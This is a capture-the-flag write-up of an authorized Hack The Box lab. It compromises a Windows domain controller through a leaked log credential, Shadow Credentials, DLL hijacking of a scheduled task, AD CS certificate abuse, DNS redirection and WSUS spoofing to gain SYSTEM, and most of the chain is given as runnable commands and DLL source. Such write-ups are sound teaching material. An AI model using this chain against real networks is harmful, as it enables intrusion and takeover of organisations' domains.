HTB Logging writeup
A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”Logging is a Windows Server 2019 box running as an Active Directory (AD) Domain Controller. Starting with credentials left in a log on an SMB share, I used the GenericWrite relationship found in BloodHound and Shadow Credentials to move to msa_health$. I then replaced a DLL loaded by a scheduled task and read jaylee.clifton’s user flag. Finally, I used an AD CS Server Authentication certificate and a DNS record change to impersonate the Windows Server Update Services (WSUS) server and deliver an update command that ran as SYSTEM.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Logging |
| Platform | Hack The Box |
| OS | Windows |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”wallace.everette:Welcome2026@ (initial credentials) | | SMB Logs share | IdentitySync log: found svc_recovery's BindPass vsvc_recovery:Em3rg3ncyPa$$2026 (used with Kerberos) | | BloodHound: GenericWrite over msa_health$ | Shadow Credentials vmsa_health$ NTLM:603fc24ee01a9409f83c9d1d701485c5 | | WinRM PowerShell shell vC:\Users\msa_health$\Documents\monitor.ps1 | | Examine UpdateChecker Agent | Place Settings_Update.zip containing a malicious DLL vUpdateMonitor.exe -> settings_update.dll -> PreUpdateCheck() | | Run as jaylee.clifton vCopy C:\Users\jaylee.clifton\Desktop\user.txt | | AD CS: request a wsus.logging.htb certificate from the UpdateSrv template | DNS: wsus.logging.htb -> attacker IP vWSUS spoofing (wsuks + Microsoft-signed PsExec64.exe) | | DC01 trusts the TLS certificate issued by the internal CA | Run a malicious update as SYSTEM vCopy C:\Users\toby.brynleigh\Desktop\root.txtTarget Details
Section titled “Target Details”- Domain:
logging.htb - Host:
DC01.logging.htb
Target and Nmap
Section titled “Target and Nmap”I added the following to /etc/hosts.
10.129.21.74 logging.htb DC01.logging.htb DC01I ran nmap against all ports.
nmap -sS -A -p- --min-rate 10000 10.129.21.74 > logging.nmapThe important output is shown below.
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.088/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP3268/tcp open ldap Microsoft Windows Active Directory LDAP3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP5985/tcp open http Microsoft HTTPAPI httpd 2.08530/tcp open http Microsoft IIS httpd 10.08531/tcp open ssl/unknown9389/tcp open mc-nmf .NET Message Framing47001/tcp open http Microsoft HTTPAPI httpd 2.0Device type: general purposeRunning: Microsoft Windows 2019Service Info: Host: DC01; OS: Windows
Host script results:|_clock-skew: mean: 6h59m59s| smb2-security-mode:| 3.1.1:|_ Message signing enabled and requiredThe points to note are:
- Ports
53,88,389,445,636,3268, and3269were open, indicating an AD Domain Controller. - With
5985open, valid credentials could enable interactive access over WinRM. 8530/8531are commonly used for WSUS. WSUS distributes and approves Microsoft updates internally and matters for the later root access.- SMB signing was required, so NTLM relay was not a direct main path.
- The scan showed
clock-skew: +7h. If Kerberos returnsKRB_AP_ERR_SKEW, check the attacking machine’s clock synchronization.
Initial Credentials
Section titled “Initial Credentials”The following credentials were provided at the start of this box.
logging.htb\wallace.everette:Welcome2026@I began subsequent SMB/LDAP enumeration with this account.
SMB and LDAP Enumeration
Section titled “SMB and LDAP Enumeration”I enumerated domain users.
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --users[+] logging.htb\wallace.everette:Welcome2026@-Username- -Last PW Set- -BadPW- -Description-Administrator 2026-04-16 14:41:53 0Guest <never> 0krbtgt 2026-04-16 14:47:15 0svc_recovery 2026-04-16 23:09:49 0jaylee.clifton 2026-04-16 23:09:49 0monique.chip 2026-04-16 23:09:49 0kyson.abel 2026-04-16 23:09:50 0fable.milford 2026-04-16 23:09:50 0wellington.kylan 2026-04-16 23:09:50 0serina.philander 2026-04-16 23:09:50 0wallace.everette 2026-04-16 23:09:50 0toby.brynleigh 2026-04-16 23:09:50 0RID brute force also showed additional groups and msa_health$.
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --rid-brute2101: logging\Emergency Recovery (SidTypeGroup)2102: logging\IT (SidTypeGroup)2103: logging\HR (SidTypeGroup)2104: logging\svc_recovery (SidTypeUser)2105: logging\jaylee.clifton (SidTypeUser)2111: logging\wallace.everette (SidTypeUser)2112: logging\toby.brynleigh (SidTypeUser)2113: logging\msa_health$ (SidTypeUser)2601: logging\WSUS Administrators (SidTypeAlias)2602: logging\WSUS Reporters (SidTypeAlias)LDAP group enumeration showed Remote Management Users, Emergency Recovery, and other groups that might matter for later privilege transitions.
netexec ldap 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --groupsRemote Management Users 1Certificate Service DCOM Access 1Emergency Recovery 1IT 1HR 1WSUS Administrators 0WSUS Reporters 0I checked the shares.
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --sharesShare Permissions Remark----- ----------- ------ADMIN$ Remote AdminC$ Default shareIPC$ READ Remote IPCLogs READNETLOGON READ Logon server shareSYSVOL READ Logon server shareWSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.Because the Logs share was readable, I inspected its log files first.
Obtaining svc_recovery from Logs Share
Section titled “Obtaining svc_recovery from Logs Share”smbclient //logging.htb/Logs -U wallace.everette%Welcome2026@smb: \> dir Audit_Heartbeat.log IdentitySync_Trace_20260219.log Service_State.log TaskMonitor.logsmb: \> get Audit_Heartbeat.logsmb: \> get IdentitySync_Trace_20260219.logsmb: \> get Service_State.logsmb: \> get TaskMonitor.logIdentitySync_Trace_20260219.log contained LDAP bind credentials.
ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False",BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }...ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)Win32 Error: 49 (Invalid Credentials)BindPass was recorded as Em3rg3ncyPa$$2025, but the log showed LDAP invalid credentials. The supplied initial password was Welcome2026@, and the log and test dates were in 2026, making it worth trying a 2026 year suffix instead.
SMB authentication failed with the original 2025 suffix.
netexec smb 10.129.21.74 -u svc_recovery -p 'Em3rg3ncyPa$$2025'[-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTIONChanging it to 2026 allowed me to obtain a TGT.
uv run getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026'export KRB5CCNAME=svc_recovery.ccache[*] Saving ticket in svc_recovery.ccacheAt this point, I could authenticate with Kerberos as svc_recovery.
I also checked the Protected Users group and found svc_recovery and Administrator as members.
ldapsearch -LLL -H ldap://logging.htb \ -D 'wallace.everette@logging.htb' -w 'Welcome2026@' \ -b 'DC=logging,DC=htb' \ '(cn=Protected Users)' memberdn: CN=Protected Users,CN=Users,DC=logging,DC=htbmember: CN=svc_recovery,CN=Users,DC=logging,DC=htbmember: CN=Administrator,CN=Users,DC=logging,DC=htbBloodHound likewise showed Administrator and svc_recovery@logging.htb as members of PROTECTED USERS@LOGGING.HTB. Protected Users restricts legacy authentication such as NTLM, so using a Kerberos TGT and ccache for svc_recovery made more sense than moving laterally with a password-based authentication path. By contrast, the later msa_health$ WinRM session showed NT AUTHORITY\NTLM Authentication in whoami /groups, and connecting with an NTLM hash succeeded.
BloodHound
Section titled “BloodHound”I collected AD data with RustHound-CE.
rusthound-ce -d logging.htb -u 'wallace.everette' -p 'Welcome2026@' -c All --zip[INFO] Connected to LOGGING.HTB Active Directory![INFO] 14 users parsed![INFO] 65 groups parsed![INFO] 1 computers parsed![INFO] 1 enterprisecas parsed![INFO] 34 certtemplates parsed!.//20260630053633_logging-htb_rusthound-ce.zip created!The important BloodHound relationships were:
svc_recoveryhasGenericWriteovermsa_health$wallace.everettecould Enroll withLOGGING-DC01-CA.- An AD CS Enterprise CA and certificate template existed.
With GenericWrite, I could add Shadow Credentials to msa_health$ and obtain authentication material for that account.
Initial Foothold: Shadow Credentials to msa_health$
Section titled “Initial Foothold: Shadow Credentials to msa_health$”I used the svc_recovery ccache to add Shadow Credentials to msa_health$.
uv run bloodyAD --host DC01.logging.htb -d logging.htb -k --dc-ip 10.129.21.74 -u svc_recovery add shadowCredentials msa_health$[+] KeyCredential generated with following sha256 of RSA key: b0d65b72d3110a67a03863d1c1acaaa41cbcabc5549ac82c50d2dbb4dfbb128c[+] TGT stored in ccache file msa_health_Hs.ccache
NT: 603fc24ee01a9409f83c9d1d701485c5I entered WinRM with the obtained NTLM hash.
uv run evil-winrm-py -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'[*] Connecting to 'logging.htb:5985' as 'msa_health$'evil-winrm-py PS C:\Users\msa_health$\Documents> whoamilogging\msa_health$Under C:\Users, I found users who appeared likely to have flags.
ls ../..Directory: C:\Users
Administratorjaylee.cliftonmsa_health$Publictoby.brynleighUpdateMonitor Investigation
Section titled “UpdateMonitor Investigation”msa_health$ had monitor.ps1 in its Documents directory.
dirmore monitor.ps1Directory: C:\Users\msa_health$\Documents
-a---- 4/17/2026 9:02 AM 1059 monitor.ps1$TaskName = "UpdateChecker Agent"$LogPath = "C:\Share\Logs\TaskMonitor.log"...$service = New-Object -ComObject "Schedule.Service"$service.Connect()$task = $service.GetFolder("\").GetTask($TaskName)...Add-Content -Path $LogPath -Value $MessageThe script monitored a scheduled task named UpdateChecker Agent. I examined the task itself through COM.
$service = New-Object -ComObject "Schedule.Service"$service.Connect()$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")$task.Definition.Actions | ForEach-Object { [pscustomobject]@{ Type = $_.Type Path = $_.Path Arguments = $_.Arguments WorkingDirectory = $_.WorkingDirectory }}$task.Definition.PrincipalType Path Arguments WorkingDirectory---- ---- --------- ---------------- 0 "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" 500 /scan=3 /autofix=true
Id : AuthorUserId : jaylee.cliftonLogonType : 1RunLevel : 0UpdateChecker Agent ran UpdateMonitor.exe as jaylee.clifton. The observed behavior followed this sequence:
Download Settings_Update.zip from WSUSExtract it to bin\LoadLibrary("settings_update.dll")GetProcAddress("PreUpdateCheck")Call PreUpdateCheck()In C:\ProgramData\UpdateMonitor\Logs\monitor.log, UpdateMonitor.exe looked for Settings_Update.zip and attempted to load settings_update.dll even when the ZIP was absent; that attempt failed.
more C:\ProgramData\UpdateMonitor\Logs\monitor.log[2026-06-29 14:47:15] Checking for update on core server...[2026-06-29 14:47:15] Info: Core did not find file Settings_Update.zip[2026-06-29 14:47:15] Last status: File not found on core[2026-06-29 14:47:15] Checking for update on local server...[2026-06-29 14:47:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.[2026-06-29 14:47:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll[2026-06-29 14:47:15] Failed to load settings_update.dll. Error code: 126This showed that placing Settings_Update.zip containing settings_update.dll in C:\ProgramData\UpdateMonitor could make the legitimate update process extract and load the DLL.
I checked the relevant ACLs as well.
output, _, _ = client.execute_ps("icacls 'C:\\Program Files\\UpdateMonitor\\bin'")print(output)output, _, _ = client.execute_ps("icacls 'C:\\ProgramData\\UpdateMonitor'")print(output)C:\Program Files\UpdateMonitor\bin logging\IT:(I)(OI)(CI)(F) BUILTIN\Users:(I)(RX)...C:\ProgramData\UpdateMonitor NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)Users could write to C:\ProgramData\UpdateMonitor. Placing Settings_Update.zip there would therefore let the task extract and load the DLL when it ran.
User Flag
Section titled “User Flag”From a DLL running as jaylee.clifton, I copied the user flag to a readable location.
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() { CopyFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt", "C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt", FALSE);}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE;}I built the DLL and packaged it as a ZIP file.
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32zip Settings_Update.zip settings_update.dlladding: settings_update.dll (deflated 64%)I placed it through WinRM and waited for the task to run.
upload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\Settings_Update.zipprocessed file: C:\ProgramData\UpdateMonitor\Settings_Update.zipSuccessfully processed 1 files; Failed processing 0 filesAfter execution, user_flag.txt appeared at the destination.
dir C:\ProgramData\UpdateMonitor\Logsmore C:\ProgramData\UpdateMonitor\Logs\monitor.logDirectory: C:\ProgramData\UpdateMonitor\Logs
-a---- 6/29/2026 2:50 PM 76068 monitor.log-ar--- 6/29/2026 12:40 PM 34 user_flag.txt
[2026-06-29 14:50:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\[2026-06-29 14:50:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll[2026-06-29 14:50:15] Calling 'PreUpdateCheck' in settings_update.dll[2026-06-29 14:50:15] Update check completed.This yielded the contents of C:\Users\jaylee.clifton\Desktop\user.txt at C:\ProgramData\UpdateMonitor\Logs\user_flag.txt.
Root Flag via WSUS Impersonation
Section titled “Root Flag via WSUS Impersonation”The root path combined AD CS and WSUS. The UpdateSrv template had ENROLLEE_SUPPLIES_SUBJECT enabled, letting the requester specify a Subject/SAN. Its only EKU was Server Authentication; it did not have Client Authentication.
These approaches were therefore unsuitable:
- Authenticate as a user through Kerberos PKINIT
- Impersonate a user through Schannel LDAP certificate mapping
Using it as a Server Authentication certificate was the natural path. If DC01 trusted https://wsus.logging.htb:8531/ as WSUS, a TLS certificate for wsus.logging.htb issued by the internal CA, a DNS record change, and a malicious WSUS server could deliver command execution through Windows Update.
WSUS stands for Windows Server Update Services. It distributes update metadata and files to Windows Update Clients within an organization. Clients connect to the WUServer specified by Group Policy or the registry and, for HTTPS, validate the certificate name and trust chain. Here, obtaining an internally issued TLS certificate for wsus.logging.htb and redirecting DNS to the attacking machine let it respond to DC01’s Windows Update Client as a legitimate WSUS server.
I also checked AD CS with certipy find.
certipy find -u 'wallace.everette@logging.htb' -p 'Welcome2026@' \ -dc-ip 10.129.21.74 -target DC01.logging.htb \ -enabled -stdoutCertificate Authorities 0 CA Name : logging-DC01-CA DNS Name : DC01.logging.htb Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Access Rights Enroll : LOGGING.HTB\Authenticated Users
Certificate Templates 0 Template Name : UpdateSrv Display Name : UpdateSrv Certificate Authorities : logging-DC01-CA Enabled : True Client Authentication : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Server Authentication Requires Manager Approval : False Authorized Signatures Required : 0 Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : LOGGING.HTB\IT LOGGING.HTB\Domain Admins LOGGING.HTB\Enterprise AdminsThis output showed that Authenticated Users could Enroll on the CA, while the UpdateSrv template granted Enroll to LOGGING.HTB\IT. UpdateChecker Agent ran as jaylee.clifton, and the earlier ACL showed logging\IT had FullControl on UpdateMonitor\bin. This was consistent with requesting an UpdateSrv certificate through certreq from jaylee.clifton’s execution context.
Checking the WSUS configuration and execution context
Section titled “Checking the WSUS configuration and execution context”The msa_health$ token included Remote Management Users, needed for the WinRM connection, and the certificate-related Certificate Service DCOM Access group.
whoamiwhoami /groupswhoami /privlogging\msa_health$
Group Name Type SID Attributes=========================================== ================ ============================================= ==================================================logging\Domain Computers Group S-1-5-21-4020823815-2796529489-1682170552-515 Mandatory group, Enabled by default, Enabled groupBUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled groupBUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Privilege Name Description State============================= ============================== =======SeMachineAccountPrivilege Add workstations to domain EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set EnabledI also checked the Windows Update service (wuauserv) and the WSUS registry settings.
cmd /c "sc.exe query wuauserv"reg query "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate"SERVICE_NAME: wuauserv TYPE : 30 WIN32 STATE : 2 START_PENDING
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate AcceptTrustedPublisherCerts REG_DWORD 0x1 WUServer REG_SZ https://wsus.logging.htb:8531 WUStatusServer REG_SZ https://wsus.logging.htb:8531 UpdateServiceUrlAlternate REG_SZ https://wsus.logging.htb:8531 SetProxyBehaviorForUpdateDetection REG_DWORD 0x0This confirmed that DC01’s Windows Update Client referenced https://wsus.logging.htb:8531.
Creating a CSR for wsus.logging.htb
Section titled “Creating a CSR for wsus.logging.htb”I first created a private key and CSR.
openssl genrsa -out wsus.key 2048cat > wsus_csr.cnf << 'EOF'[req]default_bits = 2048prompt = nodefault_md = sha256distinguished_name = dnreq_extensions = v3_req
[dn]CN = wsus.logging.htb
[v3_req]subjectAltName = DNS:wsus.logging.htb1.3.6.1.4.1.311.21.7 = ASN1:SEQUENCE:template_info
[template_info]templateID = OID:1.3.6.1.4.1.311.21.8.12353791.10602463.14107544.5621390.7746408.154.13283525.179965templateMajorVersion = INTEGER:100templateMinorVersion = INTEGER:3EOF
openssl req -new -key wsus.key -out wsus.csr -config wsus_csr.cnfI also generated a self-signed certificate along the way, but the attack required a certificate issued by the internal CA. The final wsus.pem combined the later CA-signed wsus.cer with wsus.key.
Running certreq through UpdateMonitor
Section titled “Running certreq through UpdateMonitor”I placed the CSR on the target and called certreq from the DLL running as jaylee.clifton.
upload wsus.csr "C:\ProgramData\UpdateMonitor\wsus.csr"icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'Uploading wsus.csr: 100%[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\wsus.csrprocessed file: C:\ProgramData\UpdateMonitor\wsus.csrSuccessfully processed 1 files; Failed processing 0 filesThe DLL was as follows.
#include <windows.h>#include <stdlib.h>
__declspec(dllexport) void PreUpdateCheck() { system("certreq -submit -config \"DC01.logging.htb\\logging-DC01-CA\" " "-attrib \"CertificateTemplate:UpdateSrv\" " "C:\\ProgramData\\UpdateMonitor\\wsus.csr " "C:\\ProgramData\\UpdateMonitor\\wsus.cer");}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }I built it and placed it again as Settings_Update.zip.
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32zip Settings_Update.zip settings_update.dllupload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'After the task ran, certreq created C:\ProgramData\UpdateMonitor\wsus.cer.
download C:\ProgramData\UpdateMonitor\wsus.cer wsus.cer[+] File downloaded successfully and saved as: wsus.cerPointing DNS to the attacker IP
Section titled “Pointing DNS to the attacker IP”I pointed wsus.logging.htb at the attacking machine’s VPN IP.
In AD-integrated DNS, zones and records are stored as AD objects under DomainDnsZones. Reading the logging.htb zone DACL showed CreateChild granted to Authenticated Users.
impacket-dacledit -action read \ -target-dn 'DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb' \ 'logging.htb/wallace.everette:Welcome2026@' \ -dc-ip 10.129.21.74[*] Parsing DACL[*] Printing parsed DACL[*] ACE[0] info[*] Access mask : FullControl (0xf01ff)[*] Trustee (SID) : Domain Admins[*] ACE[1] info[*] Access mask : CreateChild (0x1)[*] Trustee (SID) : Authenticated Users (S-1-5-11)[*] ACE[2] info[*] Access mask : Read (0x20094)[*] Trustee (SID) : Everyone (S-1-1-0)[*] ACE[5] info[*] Access mask : WriteOwner, WriteDACL, ReadControl, Delete, AllExtendedRights, DeleteTree, WriteProperties, ReadProperties, Self, ListChildObjects, DeleteChild, CreateChild (0xf017f)[*] Trustee (SID) : DnsAdminsBecause wallace.everette was authenticated as a member of Authenticated Users, it could create a wsus child record in this zone. That explains why bloodyAD add dnsRecord succeeded.
bloodyAD -d logging.htb -H DC01.logging.htb -i 10.129.21.74 \ -u wallace.everette -p 'Welcome2026@' add dnsRecord wsus 10.10.16.45[+] Adding "wsus" to "DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb"[+] wsus has been successfully addedI checked name resolution.
nslookup wsus.logging.htb 10.129.21.74Name: wsus.logging.htbAddress: 10.10.16.45Serving the malicious WSUS update
Section titled “Serving the malicious WSUS update”I combined the obtained certificate and private key.
cat wsus.cer wsus.key > wsus.pemI started the WSUS server with wsuks. It delivered Microsoft-signed PsExec64.exe to copy the root flag to a readable location as SYSTEM.
sudo env "PATH=$PATH" wsuks --serve-only --tls-cert wsus.pem -I tun0 \ -e PsExec64.exe \ -c '-accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root.txt"' \ --debugThe important requirement was to use the Microsoft-signed PsExec64.exe, obtained from https://live.sysinternals.com/.
Representative output follows.
[+] Command to execute:PsExec64.exe -accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root.txt"[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server[*] Starting WSUS Server on 10.10.16.45:8531...[*] Serving executable as KB: 2146576[+] Received POST request: /ClientWebService/client.asmx[+] Received GET request: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exe[+] GET request for exe: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exeThe log also contained a ConnectionResetError on the first Range request.
ConnectionResetError: [Errno 104] Connection reset by peer...[+] Received GET request: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exeRange: bytes=0-833471That initial small Range request was disconnected, but a later full-range request arrived, so I did not treat it alone as proof of failure. I checked the copied file from WinRM for final confirmation.
dir C:\ProgramData\UpdateMonitor\type C:\ProgramData\UpdateMonitor\root.txtDirectory: C:\ProgramData\UpdateMonitor
Mode LastWriteTime Length Name---- ------------- ------ ----d----- 6/29/2026 2:50 PM Logs-a---- 6/29/2026 4:41 PM 34 root.txt-a---- 6/29/2026 3:39 PM 28619 Settings_Update.zip-a---- 6/29/2026 4:39 PM 21 whoami.txt-a---- 6/29/2026 3:44 PM 2318 wsus.cer-a---- 6/29/2026 3:39 PM 1050 wsus.csr-a---- 6/29/2026 3:44 PM 5526 wsus.rsp
[REDACTED]Separating failures while debugging WSUS
Section titled “Separating failures while debugging WSUS”If wsuks is not working, first check whether the Windows Update Client reaches the attacker-controlled WSUS at the TCP/TLS level.
sudo tcpdump -ni tun0 port 8531The expected sequence is:
Windows Update Client | | SYN vWSUS Server
SYNSYN/ACKACK
TLS Handshake
POST /ClientWebService/client.asmxI used the following distinctions:
| State | Likely point of failure |
|---|---|
| No SYN | DNS, WSUS settings, whether Windows Update is running, or the firewall |
| SYN but no TLS | HTTPS certificate, TLS settings, or listener on 8531 |
| SOAP traffic | DNS/HTTPS/WSUS/SOAP are broadly working; inspect the WSUS server logs next |
For WSUS traffic, the following indicates substantial progress through the communication phase.
GetConfigGetCookieSyncUpdatesGetExtendedUpdateInfoGET PsExec64.exeReportEventBatchOnce it reaches this point, the issue is more likely in the execution phase than DNS or TLS: the delivered executable, its Authenticode signature, CommandLineInstallation, or arguments to PsExec64.exe.
Tool choice also matters when distinguishing execution-phase problems. Another comment noted that pywsus could synchronize metadata yet stall during downloads by recent Windows Update Clients, while wsuks was better suited to complete HTTPS update delivery. This was not a direct comparison under identical conditions, so I avoid generalizing it. On this box, wsuks --serve-only --tls-cert wsus.pem reached delivery.
Reading progress from ReportEventBatch
Section titled “Reading progress from ReportEventBatch”Insufficient privileges may prevent reading the following Windows Update Client event logs on the target.
Microsoft-Windows-WindowsUpdateClient/OperationalEven then, the Windows Update Client sends events to WSUS.
POST /ReportingWebService/ReportingWebService.asmxThe ReportEventBatch SOAP body can therefore serve as an alternative to Event Viewer for inferring how far the update progressed. I treat the EventID meanings below as debugging inferences.
| EventID | Inferred meaning |
|---|---|
| 147 | Update started |
| 156 | Target update selected |
| 167 | Bundle recognized |
| 162 | Download started |
| 181 | Download completed |
| 182 | Installation completed |
| 183 | Installation succeeded and applied |
Ideally, the following order would show that the update reached completion.
147 ↓156 ↓167 ↓162 ↓181 ↓182 ↓183A failure returned 0x80246007, and events stopped at approximately the following point.
147156167161182This indicates that WSUS communication worked, but successful installation and application had not been reached. On Linux, journalctl is often used for service logs; on Windows, limited rights can prevent reading Event Viewer. ReportEventBatch provided an alternative observation point for this WSUS attack.
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- The password for
svc_recoveryin the log wasEm3rg3ncyPa$$2025, which did not work as-is. The log year, the year pattern in the initial password, and LDAP invalid credentials made trying2026the turning point. - The
UpdateSrvtemplate had only a Server Authentication EKU. Without Client Authentication, using it for PKINIT user authentication was not part of the main path. - A
ConnectionResetErrorfromwsuksalone was not evidence of failure. Check later GET requests or whether the copied destination file exists. - The reliable path was to place
C:\ProgramData\UpdateMonitor\Settings_Update.zipfor the legitimate task to unpack and load, rather than write directly toC:\Program Files\UpdateMonitor\bin. UpdateMonitorloaded the DLL withLoadLibrary. Repeated task runs might lock the DLL and prevent replacement. A retry might need a machine reset, replacement of the ZIP before the first run, or a different DLL name during a short execution interval.root.txtneed not be onAdministrator’s Desktop. On this box, the read targetedC:\Users\toby.brynleigh\Desktop\root.txt.
Cleanup Notes
Section titled “Cleanup Notes”These items should be restored after the exercise.
- Shadow Credential (
msDS-KeyCredentialLink) added tomsa_health$ - DNS record:
wsus.logging.htb -> 10.10.16.45 C:\ProgramData\UpdateMonitor\Settings_Update.zipC:\ProgramData\UpdateMonitor\wsus.csrC:\ProgramData\UpdateMonitor\wsus.cerC:\ProgramData\UpdateMonitor\root.txtC:\ProgramData\UpdateMonitor\Logs\user_flag.txt- Extracted
C:\Program Files\UpdateMonitor\bin\settings_update.dll wsus.key,wsus.csr,wsus.cer,wsus.pem,Settings_Update.zip,settings_update.dll, andPsExec64.exeon the attacking machine
Remove the Shadow Credential with the same tool or restore the previous msDS-KeyCredentialLink value. Also delete the DNS record so WSUS name resolution no longer points to the attacking machine.
Credentials and Artifacts
Section titled “Credentials and Artifacts”| Type | Value |
|---|---|
| Domain | logging.htb |
| DC | DC01.logging.htb / 10.129.21.74 |
| Initial user | logging.htb\wallace.everette |
| Initial password | Welcome2026@ |
| Recovered user | logging.htb\svc_recovery |
| Recovered password | Em3rg3ncyPa$$2026 |
| Shadow Credentials target | logging.htb\msa_health$ |
msa_health$ NTLM | 603fc24ee01a9409f83c9d1d701485c5 |
| User flag path | C:\Users\jaylee.clifton\Desktop\user.txt |
| User flag copy | C:\ProgramData\UpdateMonitor\Logs\user_flag.txt |
| Root flag path | C:\Users\toby.brynleigh\Desktop\root.txt |
| Root flag copy | C:\ProgramData\UpdateMonitor\root.txt |
| Malicious update archive | Settings_Update.zip |
| Malicious DLL | settings_update.dll |
| WSUS certificate files | wsus.key, wsus.csr, wsus.cer, wsus.pem |
| WSUS tool | wsuks |
| Update executable | Microsoft-signed PsExec64.exe |
Required Knowledge
Section titled “Required Knowledge”The required knowledge is:
- Basic Active Directory enumeration: SMB / LDAP / Kerberos / BloodHound
- Using Kerberos TGTs and ccaches
- Shadow Credentials /
msDS-KeyCredentialLink - Windows Scheduled Tasks and abuse of the update process through DLL hijacking
- AD CS certificate template EKUs and
ENROLLEE_SUPPLIES_SUBJECT - Windows Server Update Services (WSUS) MITM and WSUS spoofing concepts
- Windows ACLs and DNS record changes
Final Thought
Section titled “Final Thought”The key point of this box is to avoid taking fragmentary credentials in a log at face value; use the failure reason, naming, and year pattern to form a candidate correction. BloodHound’s rights relationship then becomes a concrete Shadow Credentials attack.
For the user flag, the important insight was to connect a writable directory with the scheduled task’s execution principal. For the root flag, the turning point was to use the AD CS certificate for TLS server impersonation rather than user authentication. A certificate with only the Server Authentication EKU should lead you to look for internal services whose trust depends on TLS, rather than persist with PKINIT or Schannel.
WSUS is particularly valuable as a target. If you can obtain an internally issued certificate for wsus.logging.htb, point DNS to the attacking machine, and return a WSUS response trusted by the Windows Update Client, the update process can lead to code execution as SYSTEM. This box shows how the combination of “DNS write permission + AD CS certificate enrollment + WSUS trust” can lead to root access even though none of the settings alone appears decisive.

